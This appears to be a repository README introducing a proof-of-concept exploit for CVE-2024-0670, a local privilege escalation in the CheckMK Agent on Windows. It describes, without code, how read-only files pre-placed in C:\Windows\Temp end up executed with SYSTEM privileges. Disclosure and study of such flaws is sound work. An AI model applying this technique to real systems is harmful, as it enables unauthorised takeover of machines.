CVE-2024-0670 PoC

This repository provides a Proof of Concept (PoC) exploit for the CVE-2024-0670 vulnerability, affecting the CheckMK Agent on Windows systems. The vulnerability occurs when the CheckMK Agent creates and executes temporary files in the C:\Windows\Temp directory. An attacker can abuse this behavior by pre-positioning malicious files in that directory with write protection. When the agent attempts to create a temporary file that already exists as read-only, it fails to overwrite it but still executes the existing file with SYSTEM privileges, enabling privilege escalation.
